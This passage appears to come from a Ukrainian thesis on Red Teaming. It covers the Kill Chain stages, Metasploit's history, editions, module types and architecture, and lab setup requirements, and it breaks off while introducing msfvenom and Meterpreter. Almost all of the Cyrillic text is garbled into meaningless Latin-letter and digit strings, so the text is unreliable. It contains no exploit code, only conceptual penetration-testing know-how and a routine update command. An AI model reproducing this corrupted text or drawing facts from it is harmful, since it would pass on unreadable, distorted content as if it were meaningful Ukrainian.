PU3HKIB, TIOB'I3aHUX 3 aBTOMATH30BAaHMMHU BIpycaMH 1 4YepB'sSKaMH, SKi HE
3a0€3IeuyIoTh JIOCTaTHBOI'O 3aXUCTy BiJ IUJIeCIpIMOBaHUX BTOprHeHb APT,
KEpOBaHUX BpYy4YHy. 3BUYAilHI METOAM pearyBaHHs Ha IHIMACHTH HE 3HUXKYIOTh

pu3uK, ctBoproBanuii APT.

Kopnopartis Lockheed Martin Bu3Haumna Mojeinb 3aXUCTy BiJl BTOPTHEHb B
CHUCTEMY 1 MEPEXKY, sKa CKIAJAEThCSA 3 CEMH €TalliB, MOB'I3aHUX 3 eranamu aii APT
nportuBHuKa. L momens npeactasinena sk Kill Chain [9]. 3a momomororo 1iei Hel
3aXUCHUKH MOXYTh PO3POOHMTH CTIMKI 3aXOAW TPOTH 3JTOBMHUCHHUKIB 1 PO3YMHO
PO3CTaBUTH MPIOPUTETH JIJIs IHBECTHUIIIM B HOBI TexHOIOr1i a6o mpomecu. Ananiz Kill
Chain noxkasye, 1110 MPOTUBHUK Ma€ YCHIIIHO MPONUTH KOXKEH €Tall JIAHI[IOKKA, MepIil

HDK BIH 3MOXe€ JOCATTH OakaHoi meTu. llel iHTerpoBaHWM, HACKPI3HMH Mpolec,
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Ha3BaHUM <JIAHIIOKOK», TOMY 1110 BUKJIIOYEHHS Xoua O OJHOTO eTamy NepepBe BeCh

nporiec.
Kill Chain Bkirouae HacTymHi eTamm:

30BHIIIHS PO3BiJIKa
O30po€eHHs Ta ymakoBKa
JlocTtaBka

3apakeHHs
BcranoBnenHs

OTpuMaHHS yrpaBIiHHSA

N o 0o b~ w D E

Buxonanus il y »xkepTBH

306HiwinA pO36iOKa

Ha erami po3Bigku 37J0BMHCHHUK JOCHIIKYE IUIBOBY CHUCTEMY a00 MEpEexKy
opraHizaiii, 1mykae iHGopMaIlil0 Mpo iX CHIBpOOITHUKIB, BITHOCHHHM MIXXK HHUMH,
aJipecu eJEeKTPOHHOI TIONITH, BUKOPHCTOBYBAaHI TEXHOJOTIH, iX Bpa3IMBOCTI i
MPaKTUYHO BCE, IO € BAXKIWBUM sl BUKopucTaHHs B artami [9]. Lleki 30ip
iHdopMallii BUMarae BUKOPHUCTAHHS JEKUIBKOX pEcypciB Ta IHCTPYMEHTIB, BiJ
npoctoro momyky B Google g0 po3ropTaHHS NTPOrpaMHHUX IHCTPYMEHTIB, IO
aBTOMATH3yIOTh TPOLEAYypH pydHoro 30opy iHdopmarii, Ttakux sk Maltego 1

theHarvester.

Hnst edextuBHOTO 300py I1H(MOpMAIi MPO HITBOBY MeEpexki abo IOIuHY
HEOOXITHO BHUKOPHMCTOBYBATU KiIbKa pecypciB. 3HaHHS TOTO, IO BU IIyKAE€Te 1 1€

HOTO0 3HAWTH, 3aBXKIM EKOHOMHUTH Yac ITiJT 9ac pOo3CIiyBaHHS.

OTpumanHHsS TPaBUIBHOI 1H(pOpPMAIIil 3MEHIITyE Yac 1 BUTpaTH, HEOOXIiIHI IS
MIPOBENICHHS aTaKu Ha JaHy IUIh. Po3BigKka B OyKBaJIbHOMY CEHC1 € OCHOBOIO, Ha SKIN
Oynyetbcs oninka Red Teaming, Ta 310pana iHdopmallis MOBMHHA OyTH NEpeBipeHa

niepe] Bukopuctanusam [10].
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030pocHna ma ynakoeka

Ha ertani O30po€HHs 31T0BMHCHUK CTBOPIOE KOPUCHE HABAHTAXKEHHS JJIs LTI,
B OUTBIIIOCTI BUMAJKIB 32 JOMIOMOTOI0 aBTOMaTH4HOi 30poi [06], Takoi sik Metasploit
[05]. Ha croroani, OUIBIIOI MipOIO, (paliiiv JaHUX, SKI BUKOPUCTOBYIOTHCS B SIKOCTI
KOPUCHUX JaHuX, € (aimamMu JaHuX KIIEHTChKUX AonartkiB. L1 ¢ainu nanux
3a3BHYail ABISAIOTH c00010 Adobe Portable Document Format (mam PDF), nokymentu

Microsoft Office, abo daitnu 300paxens, Taki sk JPEG a6o PNG [9].

Hocmaeska

da3a J0CcTaBKH BKIIIOYAE B ce0e mepenady «30poiHOro» mpeamMera 10CTaBKU B
UTOBY cUcTeMy abo Mepexy [9]. 3a maHMMU rpynu pearyBaHHS Ha KOMII'FOTEpHI
innuaentu Lockheed Martin (LM-CIRT), Tpu 3 HaltOUIbII XapakTepHUX KaHATIIB JJIs
PO3MOBCIO/IKEHHSI KOPUCHOTO HaBaHTa)XeHHS 310BMHUCHUKaM APT 3moBMuCHUKamMu -
e TPUKPITJICHHS HOTO /10 TOBIIOMJICHb €JIEKTPOHHOI MOIITH, BeO-CaliTh Ta 3MIiHHI

HOCII.
3apasicennsn

[Ticnsa ycmimHoOro 3aBepiieHHsS (a3u JTOCTaBKH, «30pos» 1HIIIOE BUKOHAHHS
KOPUCHOTO HaBaHTAXXEHHS 3JIOBMHUCHHMKA, B OUIBIIIOCTI BHUIIAJIKIB, BUKOPHUCTOBYIOUH
J0JIaTOK, CIyX0y ab0 Bpa3iHMBICTIO OMEpAIitHOI CHCTEMH, Ha AKIA PO3rOPTAETHCA.
Tem He MeHII, mNOpeAMET Tepenadi MOXKe TaK0oX EKCITyaTyBaTH KIHIIEBHX
KOPHUCTYBadiB, B TOMY YHCI BpAa3JIMBOCTI CHUCTEMH, IO € HEMOTPIOHUMHU IS
BUKOHAHHS KOy, a00 HaBiTh ()YHKIIIT aBTOMAaTHYHOTO BUKOHAHHS CaMO1 OorepaiinHoi

CHCTCMMU.

Bcmanoenenns

Merta etanmy BCTaHOBJIEHHS - 30€perTH CTaNICTh B 3apaxxeHid cucteMi abo
Mepexi. llkingmuse 113 BcTaHOBIIOE OEKAOp, KWW JTO3BOJISIE€ BIAJATICHUN TOCTYII 10

LLJIBOBOI CUCTEMU 200 MEPEXKi, SIKUM MOKE€ BUKOPHUCTOBYBATH IPOTUBHUK.
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Ompumanusa ynpaeiinus

Ha erani oTpumaHHS yHOpaBliHHS, CKOMIPOMETOBaHa cHUcTeMa abo Mepexa
BCTAHOBJIIOIOTh KaHaJ KOMaHIyBaHHsS Ta YNPaBIIHHA 3 aTaKylOUUM 4epe3 IHTepHET-
Tpadik, B pe3yabTaTi 4Oro 3JIOBMUCHUK OTPUMYE «IPAKTUUYHHI» IOCTYN A0 IIUIL
Pizuunsg mix mkianmusuM 13 APT 1 tpanumiitnum mkigmueum [13 nonsirae B Tomy,
IO Meplie BUMAara€e BEJIMKOI PYy4HOi OOpOOKH, a Jpyre, NEPEeBaXHO, Mpallloe

ABTOMATHU4YHO 3aBAAKH BI[aTHOCTi PO3MOBCIO’KYBATUCS CaMOCTIHHO [9]

Bukonannsa oiu y scepmeu

Ha octannbomy erami Kill Chain 310BMuUCHHK BUKOHYE CBOT MEpBicHI 1imi. Y
OUTBIIOCT1 BUMAJKIB 11 1Tl TIOB'I3aH1 3 MaKyBaHHIM, IUGPYBAHHSAM 1 BUTATAHHSAM
KPUTHYHUX 200 KOH(IACHIIHHUX AaHMX 31 ckommpomeToBanoi it [9]. Kpim Toro,
BOHM BKJIIOYAIOTh B ce0€ MAaHIMyJIOBaHHS aBTOMAaTU30BaHUM mpuctpoem [10],
HANPUKIIAA, TpUCTpOoeM «IHTEepHETy pedeil», BUKOPUCTAHHS CKOMIPOMETOBAHOTO
X0CTa JJIs TOAAIBIIIOTO TIEPEMIIIIEHHS B MEPEki a00 HABITh MOPYIIEHHS JOCTYITHOCTI

KPUTHYHHUX MTOCITYT a0 gaHux [9].

3axXuCT KOMM'IOTEPHUX MEPEXK € HEOOXIIHICTIO B CBITJI Cy4acHHX MOCTIMHHX
3arpo3. OCKUIbKM TpaJMIIIMHUX TMPOIECIB, OPIEHTOBAaHMX Ha BPa3IUBICTH,
HEJI0OCTaTHLO, JJISI BCTAHOBJICHHS CTIMKOCTI MOTpiOHE PO3YMiHHS camoi 3arpos, ii
HaMIpiB, MOKJIMBOCTEH, qokTpunu 1 Mmojaenent aiil. 3amydenns Kill Chain 3a6e3neuye
CTPYKTYpY JJii aHajiily BTOPTHEHb, BUJIYyYEHHS IHAUKATOPIB 1 YOpaBIIHHS

3aXUCHUMH Jismu [9].

Kpim Toro, 111 Mojienb Bijiia€ MpiOpUTET iIHBECTHIIISIM Ta CIYT'YE OCHOBOIO IS
BUMIPIOBaHHSI €(QEKTUBHOCTI i 3axucHUKIB. Komm 3axUCHUKH PO3TISIAIOTH
KOMITOHEHT 3arpo3u SK (akTop PU3HKY IS MiABHINECHHS cTikocTi 10 APT, BoHuM
MOXXYTh TIEPETBOPUTH CTANICTh IMX AIHOBUX 0CiO B 3000B's3aHHS, 3MEHITYIOYH

WMOBIPHICTh yCHIXYy CYNIPOTUBHUKA 3 KOXKHOIO CIIPOOOI0 BTOPTHEHHS.



22

Kill Chain nemoHcTpy€e acuMmeTpito Mk arpecopoM 1 3aXHCHHUKOM, Oy/b-SKUH
KOMIIOHEHT arpecopa, 1[0 TOBTOPIOETHCA, € BIANOBILAANBHICTIO. Po3ymiHHS
XapakTepy MOBTOPEHHS CYNPOTUBHUKIB, OyAb TO 3 MIPKYBaHb 3pY4YHOCTI, OCOOMCTHUX
nepeBar ab0 HEBIIVIACTBA, € aHAJII30M BUTpPAT. MOJEIIOBaHHS CHIBBIAHOIIEHHS
BUTpAT 1 BUTOJ1 I 3JIOBMUCHHKIB € 00JIaCTIO JUIs JOJIATKOBUX JOCIIKeHb. Koy 114
€KOHOMIYHAa BHIrojJa SIBHO He 30ajaHcoBaHa, I[I€ € MOXJMBUM THOKa3HUKOM

iHopMaIiiHOT epeBaru ojiHiel rpynu Haj iHmow [9].

[TnanyBanns 1 aii BiamosigHo g0 mporeciB Kill Chain 3abesneuyrors Red
Teaming wnaxiitaicts. Kill Chain 3 BHCOKOIO TOYHICTIO OmUCYye il MOTCHIIIHHHX
3JI0BMUCHHKIB, 1, IOTpUMYyOYHCh ioro etamiB, Red Team edekrtuBHO imiTye

MOBEIIHKY CYIPOTUBHUKA.

1.2 Metasploit

Metasploit B jgaHuii 4Yac € HaWTy4HIIIUM CJIOBOM B 00JlacTi TECTyBaHHS
iHpopMalriitHoT Oe3nmekr 1 TeCTyBaHHS Ha NPOHHMKHEHHs. lle IMOBHICTIO 3MIHKIIO
croci0 TpoBeNeHHS TECTIB Oe3MeKu B HaIMX cucrteMmax. [IpuunHOI0, MO poOUTH
Metasploit HaCTUTBKHM TOMYJSIPHUM, € IIUPOKUN CHEKTp 3aBlaHb, SKI BIH MOXE
BUKOHYBATH, 100 CIPOCTUTH TECTYyBaHHS HA TMPOHUKHEHHS 1 MIABUIIUTH OE3IEKy

CHCTCM.

Metasploit Project — me mpoekt chepu KoMmIT'rOTepHOI O€3IeKkH, IO HaJae
iH(pOopMaIIiIo PO BPA3IUBOCTI CUCTEMH 1 JOIOMAarae y TecTaX Ha NMPOHMKHEHHS Ta
po3pobmi IDS. Metasploit Project Bimommuii cBoiMu 3aco0amMu MPOTH KOMITHOTEPHOT
CyJIOBOi €KCIEPTH3U Ta 3aco0amMu IS MPOHMKHEHHS, YaCTHHA 3 SKUX BKIIIOYEHA Yy

Metasploit Framework. [11]
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IcTopisn

Ictopis Metasploit 6epe mouyatox B 2003 pori. HD Moore, sikuii mpaifroBaB
MEHTECTEPOM B HEBEJIMKIM KOHCAJITHHIOBOI KOMIAHIi, 3ayBa)KuB, 1110 30epiraHHs 1

BUKOPUCTaHHS 3aC001B aHaJ13y 0e3MeKH OpraHi30BaH1 HE3PYUHO.

B Metasploit aBTop, Hamarar4Mch BUPIIIHUTH 110 MpoOJIEMY, CTBOPHUB
KOHCOJIbHY yTuiiTy Ha Perl 3 mceBmorpadgiunum intepdericom 1 BKIIOYMB 10 Hei
O0MM3bKO OAMHAMIATA eKcIulonTiB. CHuibHOTa 3ycTpiia mepiry Bepcito Metasploit
BEJIbMHU XOJIOJHO, HEaOWSK PO3KPUTUKYBABIIM SK apXiTEKTypy, TaKk 1 camy ijero.
[Ipore HD Moore He 371aBcs 1 HaBITh 3HAWIIOB CHOJBH)KHUKA B 00JIMYYl spoonm, 3
SAKUM BOHHU JIOBEJH /0 PO3YMY MOJYJIbHY apXiTEeKTypy (PpelMBOpKY 1 BUIYCTHIU
npyry Bepcito B 2004 pomi. 3romom ¢pedMBOpPK CTaB HAOUpATH MOMYJISPHICTD 1

3HAXOJIUTH HOBUX KOHTPUO IOTOPIB.

Hactynaum 3nauymuM kpokom Oyiio nepeBeaeHHs Metasploit 3 Perl Ha Ruby,
JUIS TOTO 1100 YHUKHYTH oOMmexeHb Perl, 3a0e3neunt Kpoc- miaTrGoOpMeHHICTh 1
JIOMOTTHCS OUIBIIOTI THYYKOCTI TIpu po3podii. Y 2009 pomi dpeiiMBopk mpuadana
koMrmaHis Rapid7, mig erigoro sikoi MPOJOBXKHBCS PO3BHUTOK Open source Bepcii, a

TAKO’K CTaJIM 3'IBIATHUCS KOMEPIiiHi Bepcii mpoaykTy.[12]

1.2.1 Turepdeiicu Metasploit

Icaye nexinbka nmoctymHux iHTepdeiiciB Metasploit. HaitOinpm momynspHi

miATPpUMYIOThCS KomiaHisMu Rapid7 Ta Strategic Cyber LLC.[13]
1. Metasploit Framework Edition

beskomroBHa Bepcis. Mictuth iHTEepdeic KOMaHIHOTO psAaKa, JTOJATKH
CTOPOHHIX BUPOOHUKIB Ta €KCIUTyaTallilo 1 METOJU mepedopy, 10 3A1IMCHIOIOTHCS

BJIACHOPYUY.
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2. Metasploit Community Edition
V¥ xoBtHI 2011 poky, Rapid7 Bunyctuna Metasploit Community Edition —
OE3KOLITOBHUI ~KOpUCTyBalbkuil BeO-iHTepdeiic s Metasploit. Metasploit
Community Ga3yeTbcsi Ha OCHOBI (PYHKIIOHAJTBHOCTI IJIATHUX BEPCid 3 MEHIIMM
HAa0OpOM MOXJIMBOCTEH, Y TOMY YHUCIHI H JOCTIIKEHHS MEpexi, Meperiisal MOIYIIB 1

py4Ha eKcIuTyaTais .
3. Metasploit Express

V¥ xBitH1 2010 poky, Rapid7 Bunyctuna Metasploit Express, koMmepiliiiHy Bepcito
3 BIAKPUTUM KOJIOM, sIKa MpU3HAayYeHa JUIsl KOMaHJ Oe3NeKd il BU3HAYEHHS
BpaznuBocTeil. g Bepcis mpononye rpadiunuii iHTepdeiic, iHTErpye nmap A

JOCJIIJDKEHHSI 1 I0J1a€ «pO3yMHUH mepedip» Ta aBTOMATUIHUMN 301p T0Ka31B.
4. Metasploit Pro

Y xoBtHi 2010 poky, Rapid7 momanma Metasploit Pro, komepiiiiHy Bepciro
Metasploit 3 BigkpuTHM KOIOM, JUIS TECTiB Ha NpPOHHMKHEHHs. Metasploit Pro
okpiM ¢yHkiin Metasploit Express mictuth Taki ¢yHkiii, sk Quick Start
Wizards/MetaModules, cTBOpeHHS 1 MEHEIKMEHT KOMIIaHIi 13 COIabHOT
1HXKeHepil, TecTyBaHHS Be0-3aCTOCYHKIB, po3mupeny ProConsole, auHamiuni

neiI0aau g YXWICHHS BiJl aHTUBIPYCIB.
5. Armitage

Armitage 1ie rpadgiuHUil IHCTpYMEHT JUIsl opraHizarlii kibep-atak s Metasploit
Project, mo Bi3yamizye i Ta pekoMeHAye ekciuioitu. lle Oe3komToBHMIA

3aCTOCYHOK 13 BIIKPUTUM KOJIOM JIJISI MEPEIKHOT OC3MEKH.
6. Cobalt Strike

Cobalt Strike - 1e Kosekiiss IHCTPYMEHTIB JUIsl eMyJslii HeOe3NeKH, o
3abesneuyeThesi  kommaniero Strategic Cyber LLC mns pobGotm 3 Metasploit
Framework. Cobalt Strike micTuth BracTuBocTi Armitage 1 J10Aa€ IHCTPYMEHTHU

JUIT BUKOPUCTAHHS TIICHA €KCIUTyaTallli, Ha MOJaToK a0 (YHKIM reHeparii
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3BiTiB.[13]

1.2.2 Crpykrypa

Metasploit BukopucToBye pi3Hi 010TI0TEKH, SIKI MICTATH KJIFOY J0 MPAaBUIBHOTO
¢dbynkiionyBanHsa ¢perimBopka. [li 6i01mi0oTeku sBISIOTH COO0I0 HaAOIp BU3HAYEHUX
3aB/laHb, ornepamii 1 GyHKIIH, sIKi MOXXYTb BUKOPUCTOBYBATUCS PI3SHUMHU MOAYJISIMU
¢bpeitmBopky. HaiiOuipim ¢yHIaMeHTaIbHOIO YyacTUHOIO (peiimBopka (Pucynok 1.2)
e 0i0mioreka Ruby Extension (Rex). Jleski 3 KOMIIOHEHTIB, IO HaIamOThCcs Rex,
BKJIFOYAIOTh TIJICHCTEMY COKETOB-000JOHOK, peaiizallli MpOTOKOJIbHUX KIIIEHTIB 1
CepBepiB, MICUCTEMY BEJICHHS )KYpHaJiB, CIIy>kKOOB1 KJIacH €KCILTyaTallii 1 psJl 1HIIHUX
kopucHuX kiaciB. Cam Rex crnpoekToBaHui Tak, 1100 HE MAaTU HISIKUX 3aJI€KHOCTEH,

KpIM THX, 1110 MOTPEOYIOThCS MPHU CTaHAPTHIM ycTaHoBIlI Ruby [14].

INTERFACES
LIBRARIES
Console
N .
TOOLS [— 1 S —
CLI
o
WEB
N 3
PLUGINS <,': GUI
RPC
MODULES
‘ Payloads H Exploits H Encoders HPost-moduleH Nops H Auxiliary ‘

Pucynok 1.2 Ctpykrypa Metasploit
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Ha niit 6a3yeTthcs 610mioTeka MSF Core, sika Hagae 0a30BHil (yHKIIOHAT 1
«au3bkopiBHeBuit» API. Core BinmoBigae 3a peanmi3alil0 BCiX HEOOXITHUX
1HTEpPECIB, SIKI TO3BOJSAIOTh B3AEMOJIATH 3 €KCIIOMTAMH, CECIIMU Ta IJIAariHAMM.
[ 616;110TEKa PO3MUPIOETHCA 0a30BOI0 010T10TEKOI0 (PpeiMBOpKa, sKa MpU3HAUYECHA
Ui 3a0e3nedyeHHss OUTbIl MPOCTHX MPOLEIYyp-O00JIOHOK JIisi pOOOTH 3 SIPOM
¢peiiMBOpKa, a TaKOXK IJs HaJlaHHA CIYy>XOO0BHUX KJaciB Juisi poOOTH 3 PI3HUMHU
acnektaMu (perdMBOpKa, TaKUMH fK ceplaiizalis CTaHy MOAYJS MJs PIZHHUX
BUX1IHUX ¢opmatiB naHux. | HapemTi, oro BukopuctoBye 0i0mioreka MSF Base,
dKa, B CBOW uepry, Hagae APl nns mnnaridiB, iHTepdeiicy kopucTyBada (K

KOHCOJIBHOTO, TaK 1 rpa)iuHOro0), a TAKOK MOJYJIIB.

€ dorWpW pI3HUX MPHU3HAYCHUX I KOpHUCTyBada iHTepdeiiciB, a came:
msfconsole, msfcli, msfgui 1 msfweb. Msfconsole 3a0e3neuye Haiikpaily miaTpumMKy

wIaTpOopMH, BUKOPUCTOBYIOUHX BCI (PyHKIIIOHAIBHI MOkuBOCTI [14, €.10].

B Metasploit Bci (ckpunrtu, (aitnm, mporpamu) € MoaylIsIMu. BuainsioTs 6

THUIIIB MOIYJIIB:

1) Auxiliary - momymi, 1o AomomararoTh aTakylo4oMy BHKOHYBATH pi3Hi
3aBIaHHS, Takli sK CKaHyBaHHs TIOPTIB, BHW3HAUCHHsS BEpCid, aHaII3
MepexeBoro Tpadiky;

2) Exploit - momymi, 10 MICTSTh SKCIUIONTH, TOOTO KO, SKH BHKOPHCTOBYE
SAKYCh BPA3JIMBICTh B CHCTEMI 1 I03BOJISIE BUKOHATH KOPUCHE HAaBaHTaXECHHS,
HaAIPUKIIAJl, IepenoBHeHHs Oydepa abo 00xia ayTeHTUdiKarii;

3) Payload - mMomysi, M0 MICTATh KOpPHUCHE HAaBaHTKEHHS, TOOTO Te, IO Mae
OyTH BUKOHAHO Biipa3y MIC/sl YCIINTHOTO BUKOHAHHS €KCIIJIONTA, HATPUKJIIA],
BCTAHOBJICHHS BIJJIAJICHOTO 3'€IHAHHS, 3alyCK ceaHcy meterpreter abo
BUKOHAHHS Oy/Ib-SIKHX CHCTEMHUX KOMAaH]T;

4) Post - pi3HiI mporpamu, sKi 3aIyCKalOThCsS MICHs YCHINIHOI eKCIuTyaTarii i
BCTAHOBJICHHSI BIIJIAJICHOTO 3'€[JHAHHS, HANpPUKIAJ, Jyisi 300py MapoiB,
YCTAaHOBKH IPOrpaM-IINUTyHIB, CKauyBaHHs (QaiiIiB 1 Tak Jai;

5) Encoder - nporpamu, 1o BUKOHYIOTh NI PYBaHHSI KOPHCHOTO HAaBAHTAKCHHS
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JUTSI 3aXHUCTY BiJ] BUSIBIICHHS 3aXHUCHUMHM 3aC00aMu;

6) Nop - reneparopu NOP'iB. NOP - me iHCTpykIlis Ha MOBiI AcemOiep, sika
HIYOro HE poOUTh. MalIMHHUI KOJT TaHO1 IHCTPYKIIi PI3HUTHCS JJIs1 KOXKHOTO
TUNY apxiTeKkTypu cuctemu. 3azBuuyail NOP iHCTpyKuii BUKOPHCTOBYIOTHCS
JUIsL TIPUBEJICHHS PO3MIPY BUKOHYBaHMX (DailJliB JO BHU3HAYEHOTI'O PO3MIpY.

[15, c. 43]

MSF MoxHa BHUKOPUCTOBYBAaTH IIiJl Yac TMPOBEJICHHS TECTYBaHHS Ha
MPOHUKHEHHS [IJI1 CTBOPEHHS 3BITIB Pa3oM 3 IHIIMMHU CHUCTE€MaMU aBTOMATUYHOTO
BUSIBJICHHSI BpasiuBocTeil. 3a nomomororo Metasploit MO)XHa BU3HAYUTH, YU €
3HalCH1 BPa3JIMBOCTI JIMCHO HEOE3MEUHUMH 1 UM MOXKHA iX BUKOPUCTOBYBATH IS

OTPHUMAHHA JOCTYITY 10 CUCTCMU.

Kpim toro, MSF MoHa BUKOPUCTOBYBATH JJII TECTYBAaHHSI HOBUX €KCIIJIOUTIB.
Jis 1poro MOTPIOHO HANAIITYBaTH JIOKAIBHHM cepBep 3 Bpa3JUBICTIO, SIKY
BUKOPUCTOBY€E €KCIUIONT. TakuM 4YMHOM, MOKHA IIBUIKO MEPEBIPUTH €(PEKTUBHICTH

CTBOPCHOT'O eKCILJIONTA.

Takoxx, MSF miaxoauTh A MEpPEBIPKA KOPEKTHOCTI HAJAIITYBaHb PI3HUX

COB na Bunagok MmepexeBux atak. [15, c. 44]

1.2.3 Incransauigs MSF

Bumocu 0o oonaonanns

VYci HaBeAeH! HIKYE MapaMeTpPU TUIBKHM PEKOMEHIYIOThCS. BukopucTaHHs
TIpIIUX MapaMeTpiB MOXIIMBE, aje MPOAYKTHBHICTh CTpakaatume. B MmoeMy Bumaaky

BCi KpUTEPIi TECTOBOTO CEPEIOBHINA BUIIIEC HI’K PEKOMEHY€eThCs. [16]

Micuye na >copcmkomy Oucky
Jlns 30epiraHHsi Ha XOCTI MOTPIOHO MaTH, sIK MiHIMYM, 10 riraGaiT BIJIbHOTO

Micsl. OCKUIBKM BUKOPHUCTOBYIOTHCSI BIPTyajibHI MAlIMHU 3 BEJIUKUMH PO3MipaMu
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¢aiiniB, HE MOXXHa BUKOPUCTOBYBaTH po3aul FAT32, ockiibku Benuki Qailnu He
NIATPUMYIOThCS Y LiH (aitnosiid cuctemi, kpauie odopatu NTES, ext3 abo iHmmi

dbopmart ¢aiinnoBoi cucreMu. PekoMeH0BaHa KUIbKICTh BUTLHOTO MicIis - 30 riraGaur.

Jlocmynna nam'ameo
HeMoxuBIiCTh HaTaHHA JTOCTATHHOI KIJIBKOCTI ITaM'sIT1 IJIS XOCTa Ta TOCThOBUX
omepauiiHUX CHUCTEM B KIHIl KIHIIB Mpu3Bene 10 30010 cucTeMH Ta/abo

HEMOJKIIMBOCTI 3aIlyCKY BIPTYaJbHOI MAllIMHU.

Jlns BU3HAYEHHS KUIBKOCTI OMEpPaTUBHOI MaMm'siTi, HEOOXiAHOI 1Jisg JaHoi

CUTYallii, s BAKOpHUCTAJIA Tai;
Minimanoni sumoeu oo nam'ami Linux "HOST"

1. I'6 oneparuHoi nam'sti (O3I1)
2. Peanwno 2 I'b abo Gunbie

Minimanovui eumocu 0o nam'smi Kali “GUEST”

1. Ilpunaitmui 1 I'6 onepaTuBHOi mam'siTi (pekoMenayeTbes 2 I'b)
2. Peanpno 2 I'b a6o Guibiie 3 gaitiom SWAP piBHOT BenmuunHH

Minimanoui eumocu 0o nam'smi Windows "GUEST"

1. Tlpunaitmui 256 M6 onepatuBHOi mam'sti (pekoMenayetbes 1 I'b)

2. Peanpno 1 I'b abo Ounbiie 3 GpaitiioM CTOPIHKY 3 OJHAKOBUM 3HAYEHHSIM. [6]

Ilpouecop

Pexomennyerbcss  64-0OITHHI YOTUPBOXSIJACPHUN Tporecop abo  Kpaiie.
Minimansna Bumora s VMware Player - e mpouecop Ha 400 MI'tp abo miBumine
(pexomengoBano 500 MI'1), ayie 1i MIBUJIKOCTI € HEAOCTAaTHIMU Maike I OyJib-

SAKAX LUIEH.

Jocmyn 0o Inmepnemy
JI1st poOOTH 1 HaaITyBaHHA HEOOX1HE 3aBAaHTAKEHHS BEJIMKUX BIPTYyaJIbHUX

MAaIllMH, OT)XE€ MOTPIOHO MaTH XOpPOIe BHUCOKOIIBUAKICHE 3'€MHAHHS. SIKIO s
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BIPTyaJIbHUX MAalllMH BHKOPUCTOBYETbCS Mepexa “Bridged”, 1 y mepexi Hemae
cepeepa DHCP, noBeaeThcsi mnpuszHauatu cratuudi [P-aapecu roctroBUM

BIPTYyaJIbHUM MalllMHAM.

Bumozu 00 npozpamnozo 3abe3neuennn

[lepm Hix nmepeit 1o Metasploit Framework, moTpiOHO MaTu sk aTakyo4y
mammmHy (Kali Linux), Tak minboBy MamuHy abo Mepexy (TecToBa Mepexka 3
mamrHamu windows 7, 10 ), a Takox rinepizop st poOOTH K B 0€3MEUHOMY, TaK 1

B BIIOKPEMJICHOMY MEPEKEBOMY CEPEIOBHIIIL.

I'inepeizop

PekoMmeHioBaHUM TimepBi3opoM Il Haiikpamoi cymicHocTi 3 Kali Tta
Windows mammnamu € VMware Player. Xoua VMware Player € 6e3komToBHUM, IS
floro 3aBaHTa)XCHHsS TOTPIOHO 3apeecTpyBaTUCS. TaK0oXX MOYKHAa BHKOPHUCTOBYBATH
VMware Workstation abo VMware Fusion, ajie koieH 3 HUX HE € O€3KOIITOBHHUM.
[cCHYIOTH TakOX IHIII BapiaHTH, IIOAO TOTO, SKUH TiNMepBi30p BUKOpHUCTOBYBaTH. Ha

J0AaTOK a0 VMW&I’G, ABOMa IHIIMMH YacTo BUKOPHUCTOBYBAHUMMU Fil’IGpBiEIOpaMI/I €

VirtualBox 1 KVM.

Kali Linux

Kali Linux - 1e mepemoBuii TUCTpUOYTHB TECTYBaHHS Ha MPOHUKHEHHS Ta
nepeBipku Oe3nekn. Kali Linux mnocraBiaseTbes 3 TONEPEAHBO BCTAHOBJICHOIO
Metasploit pa3zom 3 OaraTbMa IHIIMMH 3aco0amMu Oe3meKku, sKi s TaKoX

BUKOPHUCTOBYBAJIA JIJIs1 POOOTH.

[Ticnsa 3aBaHatakeHHs Ta BcTaHoBIeHHS Kali, cirim mepiogudHO OHOBIIOBATH
Metasploit 10 octanuboi Bepcii y REPO, 3amyctuBmm apt update && apt upgrade B

TepMiHaii. [16]
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BucHoBok 10 po3ainy 1

B nanomy po3aini 6yB po3risiHyTHi mpoliec Ta oneparii Red Teaming ta oaux
3 HaiiBimoMimux ¢gpeiiMBopkiB Metasploit B 061acTi TecTyBaHHs iHPOpMaLIHHOT
0e3MeKH 1 TECTyBaHHS HAa MPOHUKHEHHS. Xoua Hi JJi1 KOTO HE CEKPET, 10 BUSBICHHS
1 YCYHEHHs JIpOK B Oe3Mell Mepexi Mae BUpIlIaibHe 3HAYEHHS JJI 3aXUCTY OY/Ib-
SIKOTO O13HECY BiJ] IIKIJIJTMBUX aTak, MPOIIEC OI[IHKUA Ta YCYHEHHS BPa3JIMBOCTEH
4acTo HEe OepeThCs 0 yBaru K HaWBaXKJIMBIIIIMN KOMIIOHEHT HaJAIMHUX 3aXO0/I1B
6e3neku. OCKUIbKY 1€ Oe3nepepBHUil Mpolec, 6araTo KOMMNaHiil YHUKAaIOTh
HAJIS)KHOTO ayJIUTy BPa3IUBOCTEH 10 THX Iip, MOKH HE TPANIUTHCA aTaka, 1 BOHU He

OyIyTh 3MYIIIEHI pearyBaTu.
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2 BUKOPUCTAHHSA METASPLOIT B RED TEAMING

Metasploit [11] € omHuM 3 HaWOUIBII MOTYXHHX NPOTPaM 3 BIAKPUTUM
BUXITHUM KOJIOM, III0 BUKOPUCTOBYIOThCSI B TECTaX HAa MPOHUKHEHHS [17], a oTxe 1 B
ouini Red Teaming. Metasploit BUKOpUCTOBYETbCS 1Jisi PO3POOKM EKCILJIOMTIB,
KOPUCHUX  HAaBaHTaXeHb 1  JOJATKOBUX  IHCTPYMEHTIB,  SIKI  MOXYTb
BUKOPUCTOBYBATHCS TPU MOJENIOBAHHI MOXJIMBHUX [ 3710BMUCHUKIB. Kopuchi
HaBaHTXKEHHS (PpeiiMBopka nepeBuiytoTh 540, a 11 po3pOOHUKHU TOCTIHO BHOCSTH

CBIiil BHECOK B 11 CYTHICTb 3 BIAKPUTHUM BUXITHUM KOJOM.

ITnarpopma Metasploit Hamae koHconb (msfconsole), sika € HaWOUIBII
BUKOPUCTOBYBAHOIO cepell 1HIUX iHTepdeiiciB dpeiiBopka. Msfconsole mo3Bomsie
KOPHCTYBaueBi BUKOHYBATH IIJIbOBE CKAaHYBAaHHS, BUKOPUCTAHHS BpPa3JIMBOCTEH abo

HaBITh 301p JaHUX.

SIKmIo mikOBa CHCTEMa BWIIpABIeHa, a eKCIuloiTH Metasploit He mparoTh
NPOTH IUTHOBHX BPA3IUBOCTEH, aBTOHOMHE KOPHCHE HAaBaHTaXECHHS MOXE OyTH
3reHepoBaHe 3a jomnomoror msfvenom. Meterpreter € OgHUM 3 KOPHCHHX
HaBaHTaXeHb Metasploit, 1 HoOro yHIKaJIBHICTh Oa3yeThCSd Ha TEXHII, SKY BIH

